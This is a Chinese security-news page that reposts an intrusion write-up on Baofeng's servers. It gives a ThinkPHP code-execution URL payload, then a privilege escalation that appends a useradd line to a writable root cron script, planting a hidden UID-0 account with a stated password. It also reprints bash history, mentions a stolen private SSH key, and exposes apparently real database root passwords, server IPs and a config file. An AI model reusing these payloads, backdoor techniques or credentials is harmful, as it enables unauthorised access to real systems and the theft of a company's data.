频道栏目
首页 > 资讯 > 网站安全 > 正文

漫游暴风影音并发现一系列安全问题

14-06-05        来源:[db:作者]  
收藏   我要投稿
http://config.baofeng.com

这台伺服器使用了thinkphp框架并未打补丁,之前的代码执行成功利用

http://config.baofeng.com/index.php/module/action/param1/{${phpinfo()}}

打码两台貌似是数据分析的监测平台,避免信息漏点,就不贴图了

继续翻看,在117.79.151.23这台中,

/opt/script/发现了两个python脚本

这是可以给员工发短信的节奏了么

panxiaodong同学。。。唔,应该是苦逼的运维同学吧

以上都是小事,接下来可能导致的问题才是正片

0×01

测试过程中,发现/opt/programs/sifu/result/下所生成的日志文件都是root,并且每天定时更新,追根溯源,找到了生成日志的脚本文件
 

#!/bin/bash
  ###################
  #计算伺服总请求数量
  #福玉 2011116
  ###################
 
  stat_date=`date -d "1 days ago" +"%Y%m%d"`
  stat_date1=`date -d "1 days ago" +"%Y%m%d"`
  echo $stat_date
  zcat /opt/data/logs/sifu/access_$stat_date*|awk -F'=' '{print $2}'|awk -F'&' '{print $1}'|sort |uniq -c|awk -F' ' '{print $1"/t"$2"/t24"}' > /opt/programs/sifu/result/request_$stat_date.csv
 
  /usr/bin/mysql -h60.28.110.197 -uroot -p223238 sifu_repair -e "set names utf8;delete from sifu_scheme_request_data where ip='24' and stat_date=${stat_date1}";
  /usr/bin/mysql -h60.28.110.197 -uroot -p223238 sifu_repair -e "set names utf8;  load data local infile '/opt/programs/sifu/result/request_${stat_date}.csv' replace into table sifu_scheme_request_data (count,version,ip) set stat_date=${stat_date1};"




并且发现www的组有可写权限

于是乎,加了这么一条命令




useradd -o -u 0 -g 0 -M -d /root -s /bin/bash website -p $1$K3gq/1E2$afsX.mfcBaLXIIItgz29Q.asdf=123

也就是说,在系统执行cron计划任务的时候,除了以root权限生成每天的日志,还会添加一个用户名为website,密码为asdf=123的root用户

以此来达到提升权限的目的

0×02

在用户目录下,翻看.bash_history

su -c "ssh -t uniondown@61.155.220.222 sudo ln -s /opt/baofeng-data/league/package/3.10.06.30.exe /opt/baofeng-data/league/package/3.10.06.30_124.exe" uniondown;

exit

ssh-keygen -d

ls

cd ~

ls

ls -a

cd .ssh

ls

cat id_dsa.pub

cd ..

ls -ah

ll -ah

ssh 122.139.57.37

ls

ls -a

ll

cd .ssh

ls

ll

vi known_hosts

exit

ll

cd .ssh/

ll

cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

支持看来是运维当时用这台主机以uniondown用户身份私钥登陆了61.155.220.222

果断进入.ssh目录,发现了私钥id_dsa

 


<?php 
   return array(   
    'URL_MODEL'=>1, // 如果你的环境不支持PATHINFO 请设置为3
   'SESSION_AUTO_START' =>false,
   'DB_TYPE'=>'mysql',
   'DB_HOST'=>'***.***.**.174',
   'DB_NAME'=>'sifu_repair',
   'DB_USER'=>'root',
   'DB_PWD'=>'223238',
   'DB_PORT'=>'3306',
   'DB_PREFIX'=>'sifu_',
          'APP_DEBUG' => 0,
       'HTML_CACHE_ON' => true,//开启静态缓存  
       'HTML_PATH' => '/opt/sifu/sifu/pop',//静态缓存文件目录,HTML_PATH可任意设置,此处设为当前项目下新建的html目录
    'MEMCACHE_HOST'=>'221.238.27.174',//memcache主机ip配置
    'MEMCACHE_PORT'=>'11211', //memcache端口配置
          'ACCESS_IPS'=>'192.168.%,127.0.0.1,218.***.***.34,60.***.**.102',//允许访问ip地址配置,%为通配符
   'LOG_RECORD'=>false,
  );
  ?>

 

 

 

 

相关TAG标签
上一篇:微信营销:个人品牌营销时代的到来
下一篇:高质量的原创内容就像黄花大闺女一样让人喜欢
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站